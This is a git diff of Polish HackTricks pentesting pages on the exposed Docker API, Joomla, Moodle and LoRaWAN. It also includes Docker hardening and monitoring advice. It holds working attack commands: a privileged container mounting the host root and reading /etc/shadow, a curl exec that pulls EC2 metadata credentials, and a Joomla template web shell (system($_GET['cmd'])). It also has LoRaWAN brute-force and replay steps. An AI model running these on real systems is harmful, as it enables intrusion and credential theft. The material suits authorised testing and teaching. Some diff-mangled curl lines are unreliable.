Docker to **wiodąca platforma** w **branży konteneryzacji**, prowadząca do **ciągłej innowacji**. Umożliwia łatwe tworzenie i dystrybucję aplikacji, od **tradycyjnych po futurystyczne**, i zapewnia ich **bezpieczne wdrożenie** w różnych środowiskach.
|
||||
|
||||
#### Podstawowa architektura dockera
|
||||
|
||||
- [**containerd**](http://containerd.io): To **podstawowy czas wykonania** dla kontenerów, odpowiedzialny za kompleksowe **zarządzanie cyklem życia kontenera**. Obejmuje to obsługę **transferu i przechowywania obrazów**, a także nadzorowanie **wykonywania, monitorowania i sieci** kontenerów. **Szczegółowe informacje** na temat containerd są **dalsze badane**.
|
||||
- [**containerd**](http://containerd.io): To **podstawowy czas wykonania** dla kontenerów, odpowiedzialny za kompleksowe **zarządzanie cyklem życia kontenera**. Obejmuje to obsługę **transferu i przechowywania obrazów**, a także nadzorowanie **wykonywania, monitorowania i sieci** kontenerów. **Bardziej szczegółowe informacje** na temat containerd są **dalsze badane**.
|
||||
- **container-shim** odgrywa kluczową rolę jako **pośrednik** w obsłudze **kontenerów bezgłowych**, płynnie przejmując od **runc** po zainicjowaniu kontenerów.
|
||||
- [**runc**](http://runc.io): Ceniony za swoje **lekkie i uniwersalne możliwości czasu wykonania kontenerów**, runc jest zgodny z **standardem OCI**. Jest używany przez containerd do **uruchamiania i zarządzania kontenerami** zgodnie z **wytycznymi OCI**, rozwijając się z oryginalnego **libcontainer**.
|
||||
- [**grpc**](http://www.grpc.io) jest niezbędny do **ułatwiania komunikacji** między containerd a **docker-engine**, zapewniając **efektywną interakcję**.
|
||||
@ -41,11 +41,11 @@ docker system prune -a
|
||||
```
|
||||
#### Containerd
|
||||
|
||||
**Containerd** został specjalnie opracowany, aby zaspokoić potrzeby platform kontenerowych, takich jak **Docker i Kubernetes**, między innymi. Jego celem jest **uproszczenie uruchamiania kontenerów** na różnych systemach operacyjnych, w tym Linux, Windows, Solaris i innych, poprzez abstrahowanie funkcjonalności specyficznych dla systemu operacyjnego oraz wywołań systemowych. Celem Containerd jest uwzględnienie tylko niezbędnych funkcji wymaganych przez jego użytkowników, dążąc do pominięcia zbędnych komponentów. Jednak całkowite osiągnięcie tego celu uznawane jest za trudne.
|
||||
**Containerd** został specjalnie opracowany, aby zaspokoić potrzeby platform kontenerowych, takich jak **Docker i Kubernetes**, między innymi. Jego celem jest **uproszczenie uruchamiania kontenerów** na różnych systemach operacyjnych, w tym Linux, Windows, Solaris i innych, poprzez abstrahowanie funkcjonalności specyficznych dla systemu operacyjnego i wywołań systemowych. Celem Containerd jest uwzględnienie tylko niezbędnych funkcji wymaganych przez jego użytkowników, dążąc do pominięcia zbędnych komponentów. Jednak całkowite osiągnięcie tego celu uznawane jest za trudne.
|
||||
|
||||
Kluczową decyzją projektową jest to, że **Containerd nie obsługuje sieci**. Sieć jest uważana za kluczowy element w systemach rozproszonych, z złożonościami takimi jak Software Defined Networking (SDN) i odkrywanie usług, które znacznie różnią się w zależności od platformy. Dlatego Containerd pozostawia aspekty sieciowe do zarządzania przez platformy, które wspiera.
|
||||
Kluczową decyzją projektową jest to, że **Containerd nie obsługuje sieci**. Sieć jest uważana za krytyczny element w systemach rozproszonych, złożoności takie jak Software Defined Networking (SDN) i odkrywanie usług, które znacznie różnią się w zależności od platformy. Dlatego Containerd pozostawia aspekty sieciowe do zarządzania przez platformy, które wspiera.
|
||||
|
||||
Podczas gdy **Docker wykorzystuje Containerd** do uruchamiania kontenerów, ważne jest, aby zauważyć, że Containerd obsługuje tylko podzbiór funkcjonalności Dockera. Konkretnie, Containerd nie ma możliwości zarządzania siecią obecnych w Dockerze i nie obsługuje bezpośredniego tworzenia swarmów Dockera. To rozróżnienie podkreśla skoncentrowaną rolę Containerd jako środowiska uruchomieniowego kontenerów, delegując bardziej wyspecjalizowane funkcjonalności do platform, z którymi się integruje.
|
||||
Podczas gdy **Docker wykorzystuje Containerd** do uruchamiania kontenerów, ważne jest, aby zauważyć, że Containerd obsługuje tylko podzbiór funkcjonalności Dockera. Konkretnie, Containerd nie ma możliwości zarządzania siecią obecnych w Dockerze i nie obsługuje bezpośredniego tworzenia klastrów Docker. To rozróżnienie podkreśla skoncentrowaną rolę Containerd jako środowiska uruchomieniowego kontenerów, delegując bardziej wyspecjalizowane funkcjonalności do platform, z którymi się integruje.
|
||||
```bash
|
||||
#Containerd CLI
|
||||
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
|
||||
@ -63,19 +63,19 @@ ctr container delete <containerName>
|
||||
```
|
||||
#### Podman
|
||||
|
||||
**Podman** to otwartoźródłowy silnik kontenerowy, który przestrzega standardów [Open Container Initiative (OCI)](https://github.com/opencontainers), opracowany i utrzymywany przez Red Hat. Wyróżnia się na tle Dockera kilkoma charakterystycznymi cechami, w szczególności **architekturą bezdemonową** oraz wsparciem dla **kontenerów bez uprawnień root**, co umożliwia użytkownikom uruchamianie kontenerów bez uprawnień administratora.
|
||||
**Podman** to otwartoźródłowy silnik kontenerowy, który przestrzega standardów [Open Container Initiative (OCI)](https://github.com/opencontainers), opracowany i utrzymywany przez Red Hat. Wyróżnia się na tle Dockera kilkoma charakterystycznymi cechami, w szczególności **architekturą bezdemową** i wsparciem dla **kontenerów bezrootowych**, co umożliwia użytkownikom uruchamianie kontenerów bez uprawnień roota.
|
||||
|
||||
Podman został zaprojektowany tak, aby był kompatybilny z API Dockera, co pozwala na używanie poleceń CLI Dockera. Ta kompatybilność obejmuje jego ekosystem, który zawiera narzędzia takie jak **Buildah** do budowania obrazów kontenerów oraz **Skopeo** do operacji na obrazach, takich jak push, pull i inspect. Więcej informacji na temat tych narzędzi można znaleźć na ich [stronie GitHub](https://github.com/containers/buildah/tree/master/docs/containertools).
|
||||
|
||||
**Kluczowe różnice**
|
||||
|
||||
- **Architektura**: W przeciwieństwie do modelu klient-serwer Dockera z działającym w tle demonem, Podman działa bez demona. Taki projekt oznacza, że kontenery działają z uprawnieniami użytkownika, który je uruchamia, co zwiększa bezpieczeństwo poprzez eliminację potrzeby dostępu root.
|
||||
- **Integracja z systemd**: Podman integruje się z **systemd** w celu zarządzania kontenerami, co pozwala na zarządzanie kontenerami za pomocą jednostek systemd. To kontrastuje z użyciem systemd przez Dockera głównie do zarządzania procesem demona Dockera.
|
||||
- **Kontenery bez uprawnień root**: Kluczową cechą Podmana jest jego zdolność do uruchamiania kontenerów z uprawnieniami użytkownika, który je inicjuje. Takie podejście minimalizuje ryzyko związane z naruszeniami kontenerów, zapewniając, że atakujący uzyskuje jedynie uprawnienia skompromitowanego użytkownika, a nie dostęp root.
|
||||
- **Architektura**: W przeciwieństwie do modelu klient-serwer Dockera z działającym w tle demonem, Podman działa bez demona. Taki projekt oznacza, że kontenery działają z uprawnieniami użytkownika, który je uruchamia, co zwiększa bezpieczeństwo poprzez eliminację potrzeby dostępu roota.
|
||||
- **Integracja z systemd**: Podman integruje się z **systemd** w celu zarządzania kontenerami, co pozwala na zarządzanie kontenerami za pomocą jednostek systemd. W przeciwieństwie do tego, Docker używa systemd głównie do zarządzania procesem demona Dockera.
|
||||
- **Kontenery bezrootowe**: Kluczową cechą Podmana jest jego zdolność do uruchamiania kontenerów z uprawnieniami użytkownika, który je inicjuje. Takie podejście minimalizuje ryzyko związane z naruszeniami kontenerów, zapewniając, że atakujący uzyskuje tylko uprawnienia skompromitowanego użytkownika, a nie dostęp roota.
|
||||
|
||||
Podejście Podmana oferuje bezpieczną i elastyczną alternatywę dla Dockera, kładąc nacisk na zarządzanie uprawnieniami użytkowników i kompatybilność z istniejącymi przepływami pracy Dockera.
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Zauważ, że ponieważ podman ma na celu wsparcie tego samego API co docker, możesz używać tych samych poleceń z podmanem, co z dockerem, takich jak:
|
||||
>
|
||||
> ```bash
|
||||
@ -136,7 +136,7 @@ GitCommit: fec3683
|
||||
```
|
||||
Jeśli możesz **skontaktować się z zdalnym API dockera za pomocą polecenia `docker`**, możesz **wykonać** dowolne z **poleceń dockera** [**wcześniej** omówionych](2375-pentesting-docker.md#basic-commands), aby zainteresować się usługą.
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Możesz `export DOCKER_HOST="tcp://localhost:2375"` i **unikać** używania parametru `-H` z poleceniem docker
|
||||
|
||||
**Szybka eskalacja uprawnień**
|
||||
@ -145,14 +145,14 @@ docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
|
||||
```
|
||||
**Curl**
|
||||
|
||||
Czasami zobaczysz **2376** dla punktu końcowego **TLS**. Nie udało mi się połączyć z nim za pomocą klienta docker, ale możliwe jest to za pomocą curl.
|
||||
Czasami zobaczysz **2376** aktywne dla punktu końcowego **TLS**. Nie udało mi się połączyć z nim za pomocą klienta docker, ale można to zrobić za pomocą curl.
|
||||
```bash
|
||||
#List containers
|
||||
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
|
||||
#List processes inside a container
|
||||
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
|
||||
#Set up and exec job to hit the metadata URL
|
||||
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
|
||||
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}']
|
||||
#Get the output
|
||||
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
|
||||
# list secrets (no secrets/swarm not set up)
|
||||
@ -184,13 +184,13 @@ nmap -sV --script "docker-*" -p <PORT> <IP>
|
||||
```
|
||||
### Kompromitacja
|
||||
|
||||
Na poniższej stronie znajdziesz sposoby na **ucieczkę z kontenera docker**:
|
||||
Na poniższej stronie można znaleźć sposoby na **ucieczkę z kontenera docker**:
|
||||
|
||||
{{#ref}}
|
||||
../linux-hardening/privilege-escalation/docker-security/
|
||||
{{#endref}}
|
||||
|
||||
Wykorzystując to, możliwe jest wydostanie się z kontenera, możesz uruchomić słaby kontener na zdalnej maszynie, uciec z niego i skompromitować maszynę:
|
||||
Wykorzystując to, możliwe jest wydostanie się z kontenera, można uruchomić słaby kontener na zdalnej maszynie, uciec z niego i skompromitować maszynę:
|
||||
```bash
|
||||
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
|
||||
cat /mnt/etc/shadow
|
||||
@ -218,7 +218,7 @@ Jeśli chcesz wyodrębnić plik:
|
||||
```bash
|
||||
docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
||||
```
|
||||
### Zabezpieczanie Dockera
|
||||
### Zabezpieczanie swojego Dockera
|
||||
|
||||
#### Zabezpieczanie instalacji i użycia Dockera
|
||||
|
||||
@ -226,7 +226,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
||||
- `./docker-bench-security.sh`
|
||||
- Możesz użyć narzędzia [https://github.com/kost/dockscan](https://github.com/kost/dockscan) do sprawdzenia swojej aktualnej instalacji dockera.
|
||||
- `dockscan -v unix:///var/run/docker.sock`
|
||||
- Możesz użyć narzędzia [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) do sprawdzenia, jakie uprawnienia będzie miała kontener, gdy będzie uruchamiany z różnymi opcjami zabezpieczeń. To jest przydatne, aby znać implikacje używania niektórych opcji zabezpieczeń do uruchamiania kontenera:
|
||||
- Możesz użyć narzędzia [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) do sprawdzenia uprawnień, jakie kontener będzie miał przy uruchamianiu z różnymi opcjami zabezpieczeń. To jest przydatne, aby znać implikacje używania niektórych opcji zabezpieczeń do uruchamiania kontenera:
|
||||
- `docker run --rm -it r.j3ss.co/amicontained`
|
||||
- `docker run --rm -it --pid host r.j3ss.co/amicontained`
|
||||
- `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
|
||||
@ -261,8 +261,8 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
||||
|
||||
#### Rejestrowanie podejrzanej aktywności
|
||||
|
||||
- Możesz użyć narzędzia [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco), aby wykryć **podejrzane zachowanie w uruchomionych kontenerach**.
|
||||
- Zauważ w poniższym fragmencie, jak **Falco kompiluje moduł jądra i go wstawia**. Po tym ładuje zasady i **zaczyna rejestrować podejrzane aktywności**. W tym przypadku wykryto 2 uruchomione kontenery z uprawnieniami, jeden z nich z wrażliwym montażem, a po kilku sekundach wykryto, jak w jednym z kontenerów otwarto powłokę.
|
||||
- Możesz użyć narzędzia [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco), aby wykryć **podejrzane zachowanie w działających kontenerach**.
|
||||
- Zauważ w poniższym fragmencie, jak **Falco kompiluje moduł jądra i go wstawia**. Po tym ładuje zasady i **zaczyna rejestrować podejrzane aktywności**. W tym przypadku wykryto 2 uruchomione kontenery z uprawnieniami, jeden z nich z wrażliwym montowaniem, a po kilku sekundach wykryto, jak w jednym z kontenerów otwarto powłokę.
|
||||
```bash
|
||||
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
|
||||
* Setting up /usr/src links from host
|
||||
|
||||
@ -5,7 +5,7 @@
|
||||
|
||||
### Statystyki Joomla
|
||||
|
||||
Joomla zbiera anonimowe [statystyki użycia](https://developer.joomla.org/about/stats.html), takie jak podział wersji Joomla, PHP oraz systemów operacyjnych serwera używanych w instalacjach Joomla. Te dane można pobrać za pomocą ich publicznego [API](https://developer.joomla.org/about/stats/api.html).
|
||||
Joomla zbiera anonimowe [statystyki użycia](https://developer.joomla.org/about/stats.html), takie jak podział wersji Joomla, PHP i baz danych oraz systemów operacyjnych serwerów używanych w instalacjach Joomla. Te dane można zapytać za pośrednictwem ich publicznego [API](https://developer.joomla.org/about/stats/api.html).
|
||||
```bash
|
||||
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
|
||||
|
||||
@ -58,7 +58,7 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
|
||||
1- What is this?
|
||||
* This is a Joomla! installation/upgrade package to version 3.x
|
||||
* Joomla! Official site: https://www.joomla.org
|
||||
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
|
||||
* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
|
||||
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
|
||||
```
|
||||
### Wersja
|
||||
@ -92,10 +92,10 @@ admin:admin
|
||||
```
|
||||
## RCE
|
||||
|
||||
Jeśli udało ci się zdobyć **dane logowania administratora**, możesz **uzyskać RCE w jego obrębie**, dodając fragment **kod PHP**, aby uzyskać **RCE**. Możemy to zrobić, **dostosowując** **szablon**.
|
||||
Jeśli udało Ci się zdobyć **dane logowania administratora**, możesz **uzyskać RCE w jego obrębie**, dodając fragment **kod PHP**, aby uzyskać **RCE**. Możemy to zrobić, **dostosowując** **szablon**.
|
||||
|
||||
1. **Kliknij** na **`Templates`** w lewym dolnym rogu pod `Configuration`, aby otworzyć menu szablonów.
|
||||
2. **Kliknij** na nazwę **szablonu**. Wybierzmy **`protostar`** w kolumnie nagłówka `Template`. To przeniesie nas na stronę **`Templates: Customise`**.
|
||||
2. **Kliknij** na nazwę **szablonu**. Wybierzmy **`protostar`** w kolumnie nagłówka `Template`. To przeniesie nas do strony **`Templates: Customise`**.
|
||||
3. Na koniec możesz kliknąć na stronę, aby otworzyć **źródło strony**. Wybierzmy stronę **`error.php`**. Dodamy **jednolinijkowy kod PHP, aby uzyskać wykonanie kodu** w następujący sposób:
|
||||
1. **`system($_GET['cmd']);`**
|
||||
4. **Zapisz i zamknij**
|
||||
|
||||
@ -20,8 +20,8 @@ http://moodle.schooled.htb/moodle/mod/forum/version.php
|
||||
3.10.0-beta
|
||||
|
||||
[+] Possible interesting urls found:
|
||||
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
|
||||
Admin panel - http://moodle.schooled.htb/moodle/login/
|
||||
Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt)
|
||||
Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/)
|
||||
|
||||
[+] Scan finished (0:00:05.643539 elapsed)
|
||||
```
|
||||
@ -62,11 +62,11 @@ cmsmap http://moodle.example.com/<moodle_path>
|
||||
```
|
||||
### CVEs
|
||||
|
||||
Zauważyłem, że automatyczne narzędzia są dość **bezużyteczne w znajdowaniu luk w zabezpieczeniach dotyczących wersji moodle**. Możesz **sprawdzić** je w [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
|
||||
Znalazłem, że automatyczne narzędzia są dość **bezużyteczne w znajdowaniu luk w wersji moodle**. Możesz **sprawdzić** je w [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
|
||||
|
||||
## **RCE**
|
||||
|
||||
Musisz mieć rolę **menedżera** i **możesz instalować wtyczki** w zakładce **"Zarządzanie witryną"**:
|
||||
Musisz mieć rolę **menedżera** i **możesz instalować wtyczki** w zakładce **"Zarządzanie stroną"**:
|
||||
|
||||
.png>)
|
||||
|
||||
|
||||
@ -5,7 +5,7 @@
|
||||
## Wprowadzenie
|
||||
|
||||
**Low-Power Wide Area Network** (LPWAN) to grupa technologii bezprzewodowych, niskonapięciowych, szerokopasmowych zaprojektowanych do **długozasięgowej komunikacji** przy niskiej przepustowości.
|
||||
Mogą osiągać więcej niż **sześć mil**, a ich **baterie** mogą działać do **20 lat**.
|
||||
Mogą osiągać więcej niż **sześć mil** i ich **baterie** mogą działać do **20 lat**.
|
||||
|
||||
Long Range (**LoRa**) jest obecnie najczęściej wdrażaną warstwą fizyczną LPWAN, a jej otwarta specyfikacja warstwy MAC to **LoRaWAN**.
|
||||
|
||||
@ -27,7 +27,7 @@ Long Range (**LoRa**) jest obecnie najczęściej wdrażaną warstwą fizyczną L
|
||||
|---------|---------|------------------|
|
||||
| PHY | Reaktywne / selektywne zakłócanie | 100 % utrata pakietów udowodniona przy użyciu pojedynczego SDR i <1 W mocy |
|
||||
| MAC | Powtórzenie Join-Accept i ramki danych (ponowne użycie nonce, przepełnienie licznika ABP) | Fałszowanie urządzeń, wstrzykiwanie wiadomości, DoS |
|
||||
| Serwer sieciowy | Niezabezpieczony przekaznik pakietów, słabe filtry MQTT/UDP, przestarzałe oprogramowanie bramy | RCE na bramach → pivot do sieci OT/IT |
|
||||
| Serwer-sieciowy | Niezabezpieczony przekaznik pakietów, słabe filtry MQTT/UDP, przestarzałe oprogramowanie bramy | RCE na bramach → pivot do sieci OT/IT |
|
||||
| Aplikacja | Zakodowane na stałe lub przewidywalne AppKeys | Atak brute-force/odszyfrowanie ruchu, podszywanie się pod czujniki |
|
||||
|
||||
---
|
||||
@ -35,7 +35,7 @@ Long Range (**LoRa**) jest obecnie najczęściej wdrażaną warstwą fizyczną L
|
||||
## Ostatnie luki (2023-2025)
|
||||
|
||||
* **CVE-2024-29862** – *ChirpStack gateway-bridge & mqtt-forwarder* akceptował pakiety TCP, które omijały zasady zapory stanowej na bramach Kerlink, co pozwalało na ujawnienie interfejsu zarządzania zdalnego. Naprawione w wersjach 4.0.11 / 4.2.1.
|
||||
* **Seria Dragino LG01/LG308** – Wiele luk CVE z lat 2022-2024 (np. 2022-45227 przejście katalogu, 2022-45228 CSRF) nadal obserwowane jako niezałatane w 2025 roku; umożliwiają nieautoryzowane zrzuty oprogramowania lub nadpisywanie konfiguracji na tysiącach publicznych bram.
|
||||
* **Seria Dragino LG01/LG308** – Wiele luk CVE z lat 2022-2024 (np. 2022-45227 przejście katalogu, 2022-45228 CSRF) nadal obserwowane jako niezałatane w 2025 roku; umożliwiają nieautoryzowane zrzuty oprogramowania układowego lub nadpisywanie konfiguracji na tysiącach publicznych bram.
|
||||
* Przepełnienie bufora *przekaznika pakietów UDP* Semtech (nieopublikowane zalecenie, załatane w 2023-10): stworzony uplink większy niż 255 B wywołał przepełnienie stosu ‑> RCE na bramach referencyjnych SX130x (znalezione przez Black Hat EU 2023 “LoRa Exploitation Reloaded”).
|
||||
|
||||
---
|
||||
@ -54,7 +54,7 @@ python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt
|
||||
### 2. OTAA join-replay (ponowne użycie DevNonce)
|
||||
|
||||
1. Przechwyć legalny **JoinRequest**.
|
||||
2. Natychmiast go retransmituj (lub zwiększ RSSI) przed ponownym przesłaniem przez oryginalne urządzenie.
|
||||
2. Natychmiast go retransmituj (lub zwiększ RSSI) zanim oryginalne urządzenie wyśle ponownie.
|
||||
3. Serwer sieciowy przydziela nowy DevAddr i klucze sesyjne, podczas gdy docelowe urządzenie kontynuuje z starą sesją → atakujący posiada wolną sesję i może wstrzykiwać sfałszowane uplinki.
|
||||
|
||||
### 3. Obniżanie adaptacyjnej stawki danych (ADR)
|
||||
@ -74,7 +74,7 @@ Wymuś SF12/125 kHz, aby zwiększyć czas transmisji → wyczerp cykl pracy bram
|
||||
| **LoRaWAN Auditing Framework (LAF)** | Tworzenie/analiza/atakowanie ramek LoRaWAN, analizatory oparte na bazach danych, brute-forcer | Obraz Dockera, wspiera wejście Semtech UDP |
|
||||
| **LoRaPWN** | Narzędzie Python od Trend Micro do brute OTAA, generowania downlinków, deszyfrowania ładunków | Demo wydane w 2023, niezależne od SDR |
|
||||
| **LoRAttack** | Sniffer wielokanałowy + powtórka z USRP; eksportuje PCAP/LoRaTap | Dobra integracja z Wireshark |
|
||||
| **gr-lora / gr-lorawan** | Bloki OOT GNU Radio do TX/RX w paśmie bazowym | Podstawa dla niestandardowych ataków |
|
||||
| **gr-lora / gr-lorawan** | Bloki OOT GNU Radio do TX/RX w paśmie podstawowym | Podstawa dla niestandardowych ataków |
|
||||
|
||||
---
|
||||
|
||||
@ -85,11 +85,11 @@ Wymuś SF12/125 kHz, aby zwiększyć czas transmisji → wyczerp cykl pracy bram
|
||||
3. Przechowuj licznik ramek w pamięci nieulotnej (**ABP**) lub migruj do OTAA.
|
||||
4. Wdróż **secure-element** (ATECC608A/SX1262-TRX-SE), aby chronić klucze główne przed ekstrakcją firmware.
|
||||
5. Wyłącz zdalne porty do przesyłania pakietów UDP (1700/1701) lub ogranicz za pomocą WireGuard/VPN.
|
||||
6. Utrzymuj bramy w aktualizacji; Kerlink/Dragino dostarczają obrazy z poprawkami na 2024 rok.
|
||||
7. Wdrażaj **wykrywanie anomalii w ruchu** (np. analizator LAF) – oznaczaj resetowanie liczników, duplikaty połączeń, nagłe zmiany ADR.
|
||||
6. Utrzymuj bramy w aktualizacji; Kerlink/Dragino dostarczają obrazy z poprawkami z 2024 roku.
|
||||
7. Wdróż **wykrywanie anomalii w ruchu** (np. analizator LAF) – oznaczaj resetowanie liczników, duplikaty połączeń, nagłe zmiany ADR.
|
||||
|
||||
## Odniesienia
|
||||
## Referencje
|
||||
|
||||
* LoRaWAN Auditing Framework (LAF) – https://github.com/IOActive/laf
|
||||
* Przegląd Trend Micro LoRaPWN – https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a
|
||||
* LoRaWAN Auditing Framework (LAF) – [https://github.com/IOActive/laf](https://github.com/IOActive/laf)
|
||||
* Przegląd Trend Micro LoRaPWN – [https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a](https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a)
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user